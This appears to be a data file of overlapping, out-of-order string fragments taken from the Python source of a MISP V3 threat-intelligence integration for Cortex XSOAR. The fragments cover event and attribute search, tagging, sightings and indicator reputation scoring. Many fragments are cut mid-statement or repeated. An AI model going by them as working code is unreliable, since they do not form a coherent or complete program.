Union[dict, list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's\",\n \"indicator will be scored as malicious. - Attributes tags (both malicious and suspicious)\",\n \"warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or\",\n \"return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\":\",\n \"else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else\",\n \"MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e:\",\n \"'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL',\",\n \"connect to MISP because of a SSLCertVerificationError, ' 'Please try to use the\",\n \"demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in\",\n \"(an IP address, email address, domain, url or file hash). dbot_type (str): Indicator\",\n \"found_tag (str): The tag that was scored as malicious or suspicious. event_name (str):\",\n \"all the tags (event ones and the event's attribute tags ones as it\",\n \"url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None\",\n \"\\\"limit\\\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context =\",\n \"any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS,\",\n \"bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values(): if event['Threat Level ID']\",\n \"given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag')\",\n \"object, meaning the tags are event's ones. Otherwise, the data is attribute's (attribute\",\n \"or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type]\",\n \"in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious =\",\n \"'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif\",\n \"MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id,\",\n \"found in MISP for the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets\",\n \"elif response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}'\",\n \"\\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing those fields as they are\",\n \"file hash). dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids\",\n \"command (create event for example) Args: event_id (int): Event ID to add attribute\",\n \"PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url =\",\n \"the number of attributes that will be written to the context Returns: CommandResults\",\n \"all_attributes (dict): The parsed response from the MISP search attribute request found_tag (str):\",\n \"args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') ==\",\n \"== 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50'\",\n \"valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to\",\n \"event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was\",\n \"misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type]\",\n \"== 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==\",\n \"= { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category',\",\n \"in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if\",\n \"PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has not found in\",\n \"obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object\",\n \"reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a\",\n \"was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\"\",\n \"is calculated by the tags ids (attribute tags and event tags). Args: value\",\n \"if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags']\",\n \"event with the given id: {event_id} was not found in MISP. please check\",\n \"a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if\",\n \"outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\"\",\n \"[{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v in args.items()]\",\n \"score: the indicator score found_tag: the tag (id) which made the indicator to\",\n \"\\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only if\",\n \"positive integer, please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str)\",\n \"rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event\",\n \"found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be full of\",\n \"= PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error was occurred: {response.get('message')}\\\") elif response.get('Sighting'):\",\n \"= PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object',\",\n \"args: dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can\",\n \"2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category',\",\n \"elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif\",\n \"for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args\",\n \"When limits the attributes amount, we sort the attributes list by the event\",\n \"'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ]\",\n \"generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args,\",\n \"get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def\",\n \"Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids)\",\n \"malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable\",\n \"str]: same object type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item)\",\n \"'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To\",\n \"= demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids\",\n \"are excluded from search-events output as the information is too big. User can\",\n \"= get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value:\",\n \"dict: \\\"\\\"\\\" Convert the response of attribute search returned from MISP to the\",\n \"tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting\",\n \"obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url\",\n \"{ '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE,\",\n \"isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except\",\n \"'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'),\",\n \"than recognised as suspicious). \\\"\\\"\\\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id\",\n \"\\\"IP\\\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \\\"DOMAIN\\\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type\",\n \"'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name',\",\n \"`{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in\",\n \"= event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'),\",\n \"tag_set_ids all the tags (event ones and the event's attribute tags ones as\",\n \"of attributes along with their events objects. Note: When limits the attributes amount,\",\n \"suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids,\",\n \"url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc\",\n \"False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return\",\n \"= demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids,\",\n \"demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict):\",\n \"= add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit ==\",\n \"= params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try:\",\n \"is not valid\\\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error:\",\n \"'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The given domain: {value} is not\",\n \"demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args}\",\n \"event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID:\",\n \"Eventually, the outputs will be a list of attributes along with their events\",\n \"outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\",\",\n \"get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id\",\n \"event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search\",\n \"given limit) and by sub-functions calculated the score of the indicator. For the\",\n \"in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event\",\n \"obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one\",\n \"pymisp.tools import FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in\",\n \"order to get the information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if\",\n \"dict): \\\"\\\"\\\"Adds sighting to MISP attribute \\\"\\\"\\\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid')\",\n \"event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search using the\",\n \"= build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list\",\n \"{ 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID\",\n \"as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number\",\n \"object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id')\",\n \"for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def\",\n \"= { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE':\",\n \"for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts args dict\",\n \"information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words:\",\n \"not exists) it says that it is an attribute's tag. If the data\",\n \"attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool): Whether the\",\n \"ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), })\",\n \"the tag (i.e found_tag) which caused the indicator to be scored as malicious\",\n \"and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the\",\n \"urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from\",\n \"are the newer ones. Returns: response (dict): The parsed outputs to context data\",\n \"= any((found_tag := tag) in event_tags_ids for tag in malicious_tag_ids) if is_event_tag_malicious: return\",\n \"scored as malicious or suspicious. Args: all_attributes (dict): The parsed response from the\",\n \"] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into\",\n \"response_object] for i in range(0, len(events)): # Filter object from keys in event_args\",\n \"human_readable = f\\\"## MISP create event\\\\nNew event with ID: {event_id} has been successfully\",\n \"outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False,\",\n \"build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'):\",\n \"used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid\",\n \"if attributes_limit < 0: raise DemistoException('Attribute limit has to be a positive number.')\",\n \"= f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable,\",\n \"SHA-1 or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The\",\n \"event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP\",\n \"response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to\",\n \"'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX =\",\n \"API Key. Fill in a valid key in the integration configuration.') MISP_URL =\",\n \"{e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs\",\n \"Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k:\",\n \"query or if no complex query found returns the original input \\\"\\\"\\\" regex_and\",\n \"response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\\\"Current page size: {limit}\\\\n\\\" if\",\n \"== 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args))\",\n \"tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag =\",\n \"in demisto_args} # Replacing keys and values from Demisto to Misp's keys if\",\n \"event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response:\",\n \"return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP\",\n \"arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')\",\n \"reliability, attributes_limit): \\\"\\\"\\\" This function searches for the given attribute value in MISP\",\n \"tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def\",\n \"def pagination_args_validation(page, limit): if page and page < 0: raise DemistoException(\\\"page should be\",\n \"get that score found_related_events (dict): contains info (name, id, threat level id) about\",\n \"event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level ID\\\":\",\n \"of attribute search returned from MISP to the context output format. \\\"\\\"\\\" response_object\",\n \"ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes)\",\n \"\\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event\",\n \"the response of event search returned from MISP to the context output format.\",\n \"{ 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu':\",\n \"found, then the score is Unknown so no events should be found. Returns:\",\n \"response. This function goes over all the attributes that found (after limit the\",\n \"[ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment',\",\n \"add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to given UUID of event\",\n \"has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/')\",\n \"raised by PYMISP into readable response, for more information and examples please see\",\n \"non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else\",\n \"url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port':\",\n \"'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit\",\n \"def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp from MISP response\",\n \"'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock':\",\n \"None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if\",\n \"is an id that exists in both sets, it will be removed from\",\n \"\\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from',\",\n \"isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for\",\n \"been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id:\",\n \"return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP\",\n \"str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For more information please see\",\n \"demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if\",\n \"replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(),\",\n \"def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if\",\n \"'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if\",\n \"been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),\",\n \"in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious =\",\n \"list ot tag ids (each one is str), and verify all the tags\",\n \"{}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def\",\n \"from MISP to the context output format. \\\"\\\"\\\" response_object = copy.deepcopy(response) if include_correlations:\",\n \"events = [event.get('Event') for event in response_object] for i in range(0, len(events)): #\",\n \"event_id (int): Event ID to add attribute to internal (bool): if set to\",\n \"response_object = copy.deepcopy(response) if include_correlations: # return full related attributes only if the\",\n \"query contains saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for\",\n \"pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context)\",\n \"ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args))\",\n \"PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event {uuid}' return\",\n \"the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\" Gets an event id and\",\n \"demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else:\",\n \"= [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids):\",\n \"# type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets\",\n \"return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not\",\n \"def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be full of in unnecessary\",\n \"'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\"\",\n \"for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag :=\",\n \"args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') ==\",\n \"args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if\",\n \"attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Attribute\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No\",\n \"{attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names\",\n \"args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()} command\",\n \"arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips:\",\n \"return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator\",\n \"a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for\",\n \"was received from an event object, meaning the tags are event's ones. Otherwise,\",\n \"'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif\",\n \"suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list):\",\n \"1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration'\",\n \"API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\"\",\n \"please see UT: test_extract_error. Args: error: list of responses from error section Returns:\",\n \"args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could\",\n \"attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution:\",\n \"or if no complex query found returns the original input \\\"\\\"\\\" regex_and =\",\n \"False, demisto_args: dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a\",\n \"in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj)\",\n \"'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id\",\n \"in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value,\",\n \"f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids,\",\n \"'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4\",\n \"'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def\",\n \"The parsed response from the MISP search attribute request found_tag (str): The tag\",\n \"attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append(\",\n \"has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was\",\n \"generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args,\",\n \"{}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id})\",\n \"= { 'initial': 0, 'ongoing': 1, 